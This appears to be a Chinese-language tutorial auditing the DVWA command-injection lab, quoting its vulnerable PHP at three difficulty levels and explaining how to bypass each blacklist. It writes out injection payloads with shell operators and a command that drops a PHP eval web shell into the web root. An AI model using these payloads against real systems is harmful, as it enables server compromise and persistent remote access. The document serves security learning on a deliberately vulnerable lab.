开启代码审计的新篇章
前言:
不知道要说点什么吧,
很喜欢安全这个东西,
越往深处发展,代码审计还是要学习的,
就总结一下吧..
目录:
NO.1 Low
首先来看下代码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
看完代码后再来学习学习函数吧,毕竟菜啊!!!
isset()
函数检测变量是否设置,是返回true,否则返回false
语法:bool isset( mixed var [, mixed var [, …]] )
empty()
函数检查一个变量是否为空,是返回true,否则返回false
语法:bool empty(mixed var)
explode()
函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
语法:explode(separator,string,limit)
is_numeric()
函数用于检测变量是否为数字或数字字符串。
语法:bool is_numeric ( mixed $var )
stristr()
函数搜索字符串在另一字符串中的第一次出现,并返回字符串的剩余部分。
例:
<?php
echo stristr("Hello world!","WORLD");
?>
查找 “world” 在 “Hello world!” 中的第一次出现,并返回字符串的剩余部分。
语法:stristr(string,search,before_search)
php_uname()
返回运行 PHP 的系统的有关信息。
语法:php_uname ([ string $mode = “a” ] ) : string
参数mode
mode 是单个字符,用于定义要返回什么信息:
- ‘a’:此为默认。包含序列 “s n r v m” 里的所有模式。
- ’s’:操作系统名称。例如: FreeBSD。
- ‘n’:主机名。例如: localhost.example.com。
- ‘r’:版本名称,例如: 5.1.2-RELEASE。
- ‘v’:版本信息。操作系统之间有很大的不同。
- ‘m’:机器类型。例如:i386。
再回到代码中,
首先这些定义了一个$target
变量来接收用户输入的值,
$_REQUEST
函数是超全局变量,可以接收$_POST
和$_GET
传过来的值,
并且没有对用户传入的值进行任何的判断和过滤
这里直接输入123都是可以的
当然了,直接输入123并不能够达到我们想要的效果
还是要先尊重一下代码流程,先进行ping
操作
思考,在进行ping操作的同时,怎样让他执行代码呢??
在Windows下的方法:
|
命令管道符,两条命令同时都正确时才能执行,且只显示后一条命令的执行结果||
当前面出错时执行后面的&
符(与的意思),不管前面的语句是真是假,都执行后面的语句&&
前一个命令执行成功才会执行后一个命令(如果前一个命令正确,后一个错误,则只执行前一个)
在Linux下的方法:
跟win下面的方法一样,不过多出一个分号;
,
;
前面的执行完才执行后面的,例: 127.0.0.1;whoami
然后就可以直接操作了,
除了这些操作之外,还可以写shell ,
首先使用 dir 命令 查看路径,
然后使用命令写入文件:
127.0.0.1 && echo ^<?php eval($_POST[cmd]);?^> > shell.php
如果不写路径的的话,默认写入在dir 命令查看到的路径下,
当然也可以直接写入到网站根目录下,
命令:
127.0.0.1 && echo ^<?php eval($_POST[cmd]);?^> > D:\phpStudy\PHPTutorial\WWW\dvwa\shell.php
然后就可以直接上菜刀了,
注意: <
(左尖括号) 要使用 ^
号来转义
NO.2 Medium
一样,还是先看看代码,
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist). 删除数组中的字符(黑名单)
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
array_keys()
函数返回包含数组中所有键名的一个新数组。
例:
<?php
$a=array("Volvo"=>"XC90","BMW"=>"X5","Toyota"=>"Highlander");
print_r(array_keys($a));
?>
返回:
Array ( [0] => Volvo [1] => BMW [2] => Toyota )
语法:array_keys(array,value,strict)
参数:
- array 必需。规定数组。
- value 可选。您可以指定键值,然后只有该键值对应的键名会被返回。
- strict 可选。与 value 参数一起使用。可能的值:
- true - 返回带有指定键值的键名。依赖类型,数字 5 与字符串 “5” 是不同的。
- false - 默认值。不依赖类型,数字 5 与字符串 “5” 是相同的。
str_replace()
函数替换字符串中的一些字符(区分大小写)。
语法:str_replace(find,replace,string,count)
参数:
- find 必需。规定要查找的值。
- replace 必需。规定替换 find 中的值的值。
- string 必需。规定被搜索的字符串。
- count 可选。一个变量,对替换数进行计数。
来看看这句话什么意思,
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
array_keys()
函数处理$substitutions
数组,然后再使用str_replace()
函数来替换字符串,
总的来说的意思就是 搜索$target
,如果$target
中有&&或者有分号,那么将他们替换成空
当然了,这个检测过于死板,只检测两个&
和分号
,对于一个&
和|
依旧没有进行检测,我们仍然可以用它们进行绕过
NO.3 High
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
跟难度Medium的差不多,只是过滤的字符多了些,
我们看到第三个字符,过滤的是|
+空格,并没有直接过滤|
,然后我们依旧可以使用|
进行绕过,
到这来依旧没有结束,发现好像还有其他绕过方法,,如果可行的话还将继续更新。。